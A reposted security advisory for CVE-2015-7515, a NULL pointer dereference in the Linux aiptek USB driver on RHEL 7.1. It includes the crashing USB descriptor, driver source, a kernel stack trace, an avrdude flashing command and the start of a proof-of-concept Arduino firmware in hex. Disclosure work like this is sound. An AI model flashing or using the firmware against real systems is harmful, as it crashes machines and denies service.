Linux aiptek Null Pointer Dereference

2016.03.10
Risk: Low
Local: Yes
Remote: No
CWE: CWE-476


Ogólna skala CVSS: 4.9/10
Znaczenie: 6.9/10
Łatwość wykorzystania: 3.9/10
Wymagany dostęp: Lokalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Brak
Wpływ na dostępność: Pełny

OS-S Security Advisory 2016-05 Linux aiptek Nullpointer Dereference Date: March 4th, 2016 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: CVE-2015-7515 CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS ? RHEL 7.1 Kernel crashes on invalid USB device descriptors (aiptek driver) Severity: Critical. The Kernel panics. A reboot is required. Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7) Vendor: Red Hat Vendor contacted: November, 12th 2015 PDF of Advisory: https://os-s.net/advisories/OSS-2016-05_aiptek.pdf Abstract: The Kernel 3.10.0-229.20.1.el7.x86_64 crashes when presented a buggy USB device using the aiptek driver. Detailed product description: We confirmed the bug on the following system: RHEL 7.1 Kernel 3.10.0-229.20.1.el7.x86_64 Further products or kernel versions have not been tested. How reproducible: Always Actual results: Kernel crashes. Description: The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: [*] Device-Descriptor bLength: 0x12 bDescriptorType: 0x1 bcdUSB: 0x200 bDeviceClass: 0x3 bDeviceSubClass: 0x0 bDeviceProtocol: 0x0 bMaxPacketSize: 0x40 idVendor: 0x458 idProduct: 0x5003 bcdDevice: 0x100 iManufacturer: 0x1 iProduct: 0x2 iSerialNumbers: 0x3 bNumConfigurations: 0x1 [*] Configuration-Descriptor bLength: 0x9 bDescriptorType: 0x2 wTotalLength: 0x27 bNumInterfaces: 0x1 bConfigurationValue: 0x1 iConfiguration: 0x0 bmAttributes: 0x0 bMaxPower: 0x31 [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x0 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 bmAttribut: 0x3 wMaxPacketSize: 0x404 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x1 bmAttribut: 0x2 wMaxPacketSize: 0x4 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x82 bmAttribut: 0x1 wMaxPacketSize: 0x4 bInterval: 0xc The aiptek driver assumes that there will be at least one endpoint-descriptor. If the interface-descriptor contains a zero-value for bNumEndpoints or no endpoint-descriptor is provided, the driver tries to dereference a null- pointer and the kernel crashes: **** $ nm aiptek.ko.debug | grep aiptek_probe 0000000000001ea0 t aiptek_probe $ addr2line -e aiptek.ko.debug 2303 /usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/tablet/aiptek.c:1830 **** **** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/aiptek.c) 1822 endpoint = &intf->altsetting[0].endpoint[0].desc; /* Nullpointer */ 1823 1824 /* Go set up our URB, which is called when the tablet receives 1825 * input. 1826 */ 1827 usb_fill_int_urb(aiptek->urb, 1828 aiptek->usbdev, 1829 usb_rcvintpipe(aiptek->usbdev, 1830 endpoint->bEndpointAddress), /* Nullpointer- Dereference */ 1831 aiptek->data, 8, aiptek_irq, aiptek, 1832 endpoint->bInterval); **** Proof of Concept: For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The firmware has been attached to this bug report. To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3! Severity and Ease of Exploitation: The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required. Vendor Communication: We contacted Red Hat on the November, 12th 2015. A patch was provided on the November, 25th 2015. References: https://bugzilla.redhat.com/show_bug.cgi?id=1285326 https://bugzilla.redhat.com/show_bug.cgi?id=1283350 Kernel Stacktrace: [ 622.149957] usb 1-1: new full-speed USB device number 2 using xhci_hcd [ 622.354485] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint descriptors, different from the interface descriptor's value: 0 [ 622.386630] usb 1-1: New USB device found, idVendor=0458, idProduct=5003 [ 622.392414] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 622.399416] usb 1-1: Product: ? [ 622.404640] usb 1-1: Manufacturer: ? [ 622.410079] usb 1-1: SerialNumber: % [ 622.444650] BUG: unable to handle kernel NULL pointer dereference at 0000000000000002 [ 622.445019] IP: [<ffffffffa0395303>] aiptek_probe+0x463/0x658 [aiptek] [ 622.445019] PGD 0 [ 622.445019] Oops: 0000 [#1] SMP [ 622.445019] Modules linked in: aiptek(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod [ 622.445019] CPU: 0 PID: 2242 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1 [ 622.445019] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014 [ 622.445019] task: ffff88000e65a220 ti: ffff88000f4cc000 task.ti: ffff88000f4cc000 [ 622.445019] RIP: 0010:[<ffffffffa0395303>] [<ffffffffa0395303>] aiptek_probe+0x463/0x658 [aiptek] [ 622.445019] RSP: 0018:ffff88000f4cfb80 EFLAGS: 00010286 [ 622.445019] RAX: 0000000000000000 RBX: ffff88000bd67800 RCX: ffff88000bcd0800 [ 622.445019] RDX: 0000000000000000 RSI: 0000000000000008 RDI: ffff88000ca29000 [ 622.445019] RBP: ffff88000f4cfbe0 R08: 0000000000000000 R09: 0000000000000000 [ 622.445019] R10: ffff88000e401400 R11: ffffffff810020d8 R12: ffff88000c525800 [ 622.445019] R13: ffff88000c525830 R14: ffff88000bcd1800 R15: ffff88000bd67834 [ 622.445019] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000 [ 622.445019] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 622.445019] CR2: 0000000000000002 CR3: 000000000d67f000 CR4: 00000000000006f0 [ 622.445019] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 622.445019] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 622.445019] Stack: [ 622.445019] ffff88000bcd0800 0000000000000001 0000019000000246 0000019000000032 [ 622.445019] 0000006400000019 0000012c000000c8 000000000cc3e092 ffff88000bcd0890 [ 622.445019] ffff88000bcd0800 ffffffffa0397068 ffff88000c525830 ffffffffa03965c0 [ 622.445019] Call Trace: [ 622.445019] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0 [ 622.445019] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390 [ 622.445019] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0 [ 622.445019] [<ffffffff813d3420>] ? __device_attach+0x40/0x40 [ 622.445019] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0 [ 622.445019] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20 [ 622.445019] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0 [ 622.445019] [<ffffffff813d3b34>] driver_register+0x64/0xf0 [ 622.445019] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160 [ 622.445019] [<ffffffffa039a000>] ? 0xffffffffa0399fff [ 622.445019] [<ffffffffa039a01e>] aiptek_driver_init+0x1e/0x1000 [aiptek] [ 622.445019] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230 [ 622.445019] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40 [ 622.445019] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0 [ 622.445019] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150 [ 622.445019] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0 [ 622.445019] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b [ 622.445019] Code: 45 31 c9 45 31 c0 b9 ff 03 00 00 be 08 00 00 00 4c 89 f7 e8 90 39 0d e1 49 8b 04 24 48 8b 4b 08 48 8b bb 10 01 00 00 48 8b 40 18 <0f> b6 50 02 0f b6 70 06 8b 01 c1 e2 0f c1 e0 08 81 ca 80 00 00 [ 622.445019] RIP [<ffffffffa0395303>] aiptek_probe+0x463/0x658 [aiptek] [ 622.445019] RSP <ffff88000f4cfb80> [ 622.445019] CR2: 0000000000000002 [ 622.860772] ---[ end trace b239663354a1c556 ]--- [ 622.864813] Kernel panic - not syncing: Fatal exception [ 622.865768] drm_kms_helper: panic occurred, switching back to text console Arduino Leonardo Firmware: :100000000C94A8000C94C5000C94C5000C94C50079 :100010000C94C5000C94C5000C94C5000C94C5004C :100020000C94C5000C94C5000C94C2050C942D04CE :100030000C94C5000C94C5000C94C5000C94C5002C :100040000C94C5000C94C5000C94C5000C94C5001C :100050000C94C5000C94C5000C94C5000C940C02C3 :100060000C94C5000C94C5000C94C5000C94C500FC :100070000C94C5000C94C5000C94C5000C94C500EC :100080000C94C5000C94C5000C94C5000C94C500DC :100090000C94C5000C94C5000C94C5000C94C500CC :1000A0000C94C5000C94C5000C94C50009030C0306 :1000B000FF0203032D032D032D0310031403180364 :1000C0001E0322032D0328030000000200080E0077 :1000D00000030401000B000000000000000000000D :1000E00000000000000004080201104080401020C1 :1000F00040804080080204018040201002011080EE :100100001020404004040404040304050202020217 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